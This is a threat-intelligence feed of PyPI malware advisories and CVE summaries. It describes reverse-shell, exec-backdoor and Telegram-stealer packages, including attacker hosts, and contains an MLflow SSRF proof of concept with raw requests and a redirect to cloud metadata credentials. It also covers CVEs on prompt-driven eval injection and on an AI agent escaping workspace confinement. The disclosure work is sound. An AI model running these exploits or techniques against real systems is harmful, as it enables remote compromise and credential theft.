Threats tagged 'pypi'

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2a65599e4b6ca9e8349fbde07e578e53844af217c6eca15dcd6bb99c8a1fa63f) Package advertises a trivial string-shuffle utility, but its exported function scrambleeeer() opens a TCP socket to bax.h4x.tv:6363, duplicates stdin/stdout/stderr onto that socket, and spawns /bin/bash via pty.spawn. Any caller who invokes the documented API hands an interactive bash shell on the installer's host to whoever controls bax.h4x.tv:6363. The destination is hardcoded, not user-configurable, undocumented, and unrelated to the package's stated purpose. ## Source: kam193 (52bcde495e195edfc164c36aa7f704643c3171eaffc477c28de4b60c7dd2d414) When using the provided library, the code starts a reverse shell to a hardcoded location. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-scrambleeer Reasons (based on the campaign): - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine. - action-hidden-in-lib-usage

CVE-2026-61539 is a critical remote code execution vulnerability in xorbitsai inference API versions 2.5.0 and earlier. The vulnerability arises from improper neutralization of directives in dynamically evaluated code (eval injection) where attacker-controlled input is passed to Python's eval() function. An unauthenticated attacker can exploit this by crafting malicious prompts to execute arbitrary commands on the Xinference server. The issue is fixed in version 2.7.0.

Hydra is a framework for elegantly configuring complex applications. Prior to 1.3.4, hydra.utils.instantiate() resolves and calls Python objects selected by configuration through _resolve_target() in hydra/_internal/instantiate/_instantiate2.py, allowing attacker-controlled target values and arguments to choose dangerous callables. A consuming application, library, CLI workflow, or model loader that passes untrusted configuration, CLI overrides, or model metadata into hydra.utils.instantiate() can therefore execute arbitrary code in its own process, including reading or modifying files and credentials or terminating the process. Version 1.3.4 adds target blocking with an explicit HYDRA_INSTANTIATE_ALLOWLIST_OVERRIDE escape hatch. This issue is fixed in version 1.3.4.

CVE-2026-62676 is a vulnerability in omnigent-ai's omnigent v0.1.0 and earlier versions before 0.3.0. The issue lies in the shared shell-command parser which fails open, allowing unrecognized commands to bypass critical policy checks. This can enable an agent intended to be confined to push code or secrets to attacker-controlled repositories, push to protected branches, or escape workspace confinement. The vulnerability stems from the parser returning 'None' (interpreted as allow) for unrecognized commands, rather than denying them.

The PyPI package 'requests-crypt' version 0.1.0 contains a hidden backdoor. While it advertises itself as an HTTP request library with extra features, it secretly inspects responses for specific fields and executes their content if found. This behavior constitutes malicious code embedded in the package.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7eb0e96b324df04d5ecaf0739dec60dcb2367a26def0e713519c51e24ee790df) The package advertises a numeric shuffle utility but its sole public function scrambleeer() opens a TCP socket to bax.h4x.tv on port 6363, dup2's the socket over stdin/stdout/stderr, and spawns /bin/bash via pty. Invoking the documented API therefore hands an interactive shell on the caller's host to the operator of bax.h4x.tv. The payload is compressed onto a single semicolon-separated line inside an otherwise innocuous shuffle routine, concealing the backdoor from casual review. ## Source: kam193 (52d5b1e99e57b038247cf3b7f86a7514e75275a095ca3f3cf044d80cbe999472) When using the provided library, the code starts a reverse shell to a hardcoded location. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-scrambleeer Reasons (based on the campaign): - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine. - action-hidden-in-lib-usage

The boto4 package on PyPI contains embedded malicious code that executes during installation. This code runs an executable capable of remote command execution, persistence, cryptomining, data exfiltration, network scanning, and worm-like propagation. Control of the malicious actions is managed via a Telegram bot. The affected versions are 1.0.0 and 1.0.2.

### Summary The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server. ### Details Three facts combine: 1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default. 2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`: ```python schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"] if parsed_url.scheme not in schemes: raise ... if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False for addr_info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(addr_info[4][0]) if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata ``` The resolved IP is never carried into the connection. 3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: ```python def _create_webhook_session(): adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning ... def _send_webhook_request(webhook, payload, event, session): _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout) # no allow_redirects=False -> 302 followed; redirect Location never re-validated ``` test_webhook returns response_status and response_body to the caller. Bypass vectors: Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning. ### PoC All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the `/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target. Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; } Step 0 — negative control (proves the guard is active; the naive internal URL is rejected): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP) <img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" /> Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url): POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]} -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}} <img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" /> Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned: POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}} -> 200 {"result":{"success":true,"response_status":200, "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}} <img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" /> Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a

The reqcrypts package on PyPI contains malicious code that enables remote code execution. It functions as an HTTP client but executes base64-decoded Python code from a specific JSON response field (_payload) using exec(), allowing any responding HTTP server to run arbitrary code on the host. Additionally, it supports covert payload triggers that execute stored Python code silently. This behavior constitutes a hidden backdoor, exposing any application using reqcrypts to remote code execution risks.

A vulnerability in Wagtail's Admin API "copy for translation" endpoint allows CMS users with the "submit translations" permission to copy pages they do not have edit access to, exposing page contents. This issue affects multiple versions prior to patched releases. Fixed versions include 7.0.9, 7.3.4, 7.4.3, and 8.0rc2.

CVE-2026-54770 is an open redirect vulnerability in the Pylons webob library prior to version 1.8.11. The issue arises from improper handling of Location header values in HTTP responses, allowing attacker-controlled input to bypass URL scheme checks and cause redirects to untrusted external sites. Exploitation requires user interaction by following the malicious redirect. The vulnerability is fixed in webob version 1.8.11.

CVE-2026-55558 is a medium severity vulnerability in aiosmtplib, an asynchronous SMTP client. Prior to version 5.1.2, the SMTPProtocol.start_tls method improperly handles the server's 220 response by not clearing an internal buffer before starting the TLS handshake. This allows an active network attacker to inject attacker-controlled SMTP response lines that survive the TLS upgrade, causing desynchronization of SMTP command and response pairs. The issue affects connections using start_tls=True or opportunistic STARTTLS, but not those using use_tls=True. The vulnerability is fixed in version 5.1.2.

The libasync package version 1.0.0 on PyPI contains malicious code that downloads and executes a remote binary used for cryptomining. The malicious code is obfuscated within a native extension and establishes persistence on the infected system via registry keys. It also includes sandbox detection mechanisms to evade analysis. This malicious activity is linked to the campaign named 2026-08-libasync.

A vulnerability in langgraph-api prior to version 0.10.0 allowed incomplete authorization checks during run creation. Specifically, the run-creation path used an authorization event ('assistants.search') that could be unhandled in some custom authorization setups, leading to omission of owner constraints. This allowed unauthorized users to create runs referencing private assistants owned by others and receive sensitive assistant configuration data in the response. The issue is fixed in langgraph-api 0.10.0 by unifying authorization events to 'assistants.read' during run and cron creation.

A vulnerability in langgraph-api versions prior to 0.10.0 allows relative webhook targets to bypass authentication by routing requests internally via a loopback transport. This can enable unauthorized creation or modification of runs on threads owned by other users, exposing limited thread metadata. The issue is fixed in version 0.10.0 by disabling loopback webhook delivery by default.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dcb6f64adb9e9635c1060d7c40db6006cad5446b87dcd7b20ceeb8ee7c6980f8) The package presents itself as a requests-style HTTP client but its response processor inspects every JSON response for the magic keys `payloaddd`, `payload_gz`, and `payload_zlib`. When any of these are present, the value is base64/gzip/zlib-decoded and passed to Python `exec()` inside PayloadProcessor.process / process_compressed / process_zlib, invoked from RequestHandler._process_response on every JSON response. The magic key is then deleted from the returned dictionary so the caller cannot observe that it was there. Three parallel encoding wrappers (raw base64, base64+gzip, base64+zlib) all funnel into `exec()` inside broad try/except blocks. A source comment literally labels the branch `# Hidden execution`. Any HTTP endpoint reached via reqcrypt.get/post/put/... — including redirect targets and any on-path attacker — can therefore execute arbitrary Python in the caller's process. This behavior is not disclosed in the README, and the key-stripping ensures callers cannot detect that a payload was executed. ## Source: kam193 (8e66755912c02a4de1ed6f86b092e2a0dcdadbcaef931cbd07c6d2306619f3e4) The package contains a hidden backdoor. The promised functionality is an HTTP request library with some additional functions. On every usage, code secretly checks for the presence of specific fields in the response, and if they are found, their content is secretly executed. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-reqcrypt Reasons (based on the campaign): - backdoor

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6808b9ae619e6cf9fdb59b52305e25b8e2fdb87167fbd78fae0ca6c1c07a5f1a) On import, deepface-weight spawns a daemon background thread that polls the installer's working directory for `data/telethon_market_userbot.session` for approximately 10 minutes and POSTs the file to a hardcoded webhook.site endpoint (https://webhook.site/d6ea9c5b-4a85-4e59-9397-2bb5f9407c87). Telethon session files contain live authentication material granting full access to the associated Telegram account. The exfiltration destination is bound to a variable literally named `evil_server_url` with a Russian-language comment identifying it as the attacker's server. The package name mimics the popular `deepface` ML library but ships no machine-learning code; author metadata is a placeholder (`asdqwdasdqwdasd`) with a disposable email at playboot.com. ## Source: kam193 (92f87cc2da145e4ab765c912a3a9cfb36ed6e8d21231fd511aa032edcd4b3e2b) During import, package exfiltrates the sensitive file with the Telegram session token. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-deepface-weights Reasons (based on the campaign): - files-exfiltration - target:telegram

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (152e5cdb52328dccd4eb61462c930b56f456dbdf759f0ce3005da3a7ecf4b688) reqcrypt presents itself as a general-purpose HTTP client, but its internal PayloadProcessor unconditionally inspects every HTTP response for JSON keys named 'payloaddd', 'payload_gz', and 'payload_zlib', base64/gzip/zlib-decodes the associated values, and passes the decoded bytes to exec() inside the caller's Python process. This decode-and-exec path is wired into _process_response, which is invoked from every public verb (get/post/put/delete/patch/download/upload), so any server the caller contacts—or any network attacker able to tamper with a response—can push arbitrary Python code into the caller's process by adding one of those keys to a JSON body. In-source comments label the sinks as 'Hidden execution', and the behavior is not disclosed in the package's advertised API. Effect on any program using this library is a remote code execution channel driven by attacker-controlled or attacker-influenced HTTP responses. ## Source: kam193 (556f2178ed2505024fd91bc1c9c20b59d78783c27badd166a220493e5184fb39) The package contains a hidden backdoor. The promised functionality is an HTTP request library with some additional functions. On every usage, code secretly checks for the presence of specific fields in the response, and if they are found, their content is secretly executed. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-reqcrypt Reasons (based on the campaign): - backdoor

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9c1cf8a0f273b75a4cf2b66c9b9fc351023b9f77d61e82c74d74534424ce0558) On import, deepface_weights starts a daemon thread that polls every 10 seconds for the file `data/telethon_market_userbot.session` in the current working directory. When found, it POSTs the session file together with the local `os.getlogin()` value to the hardcoded endpoint https://webhook.site/730d2d03-5c78-4e0a-88df-9d8466b7e8aa. A Telethon `.session` file holds authenticated Telegram credentials, so exfiltration enables full takeover of the associated Telegram account. Package metadata is placeholder (author email `rozuvu@example.com`, description `Minimal example Python package`) and the name resembles the unrelated `deepface` face-recognition library, but the package ships none of that functionality — the stealer is its only behavior. Source comments in Russian label the destination as the attacker's server. ## Source: kam193 (a9b6a1255b998e6497198b80ffff88e0612a2d839c6f1b9859664436f96e5fce) During import, package exfiltrates the sensitive file with the Telegram session token. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-deepface-weights Reasons (based on the campaign): - files-exfiltration - target:telegram

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (08547edeec8e522d84b40fd8236878da54c888ede86588be3913a1c37cd2b245) infogram-bot@1.6.0 implements a Telegram bot that accepts text messages from remote parties and passes them directly to subprocess.check_output(cmd, shell=True,...) on the host running the package, giving any authorized Telegram user (and, for the.sh command, any member of a group chat) arbitrary shell command execution with the privileges of the process. Additional handlers expose 'get all' (walks the working directory, zips it, and uploads all files in 50MB chunks via reply_document), 'take <file>' / 'tk a' (streams any requested file or all files under the cwd back to the Telegram chat), '.printenv' (iterates os.environ and sends every environment variable value to the chat), and '.grep' (greps environment values and files for arbitrary substrings and returns matches). Together these provide a full remote-shell backdoor plus a data-exfiltration channel to a destination the host owner did not configure at runtime. pyproject.toml also ships placeholder maintainer metadata (author 'Aapka Naam' / you@example.com, Homepage containing the literal 'YOUR_GITHUB_USERNAME'), consistent with low-attribution publication. ## Source: kam193 (454fa32963f58275e35167d59dd581240725e099682e76e44b6fca7b22332cb0) The package provides Telegram-based remote access to the machine it runs on. It was deliberately created and used to hack other machines, exfiltrate files and credentials. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-httpz-requests Reasons (based on the campaign): - files-exfiltration - rat - persistence - uses-telegram-bot - obfuscation - native-extension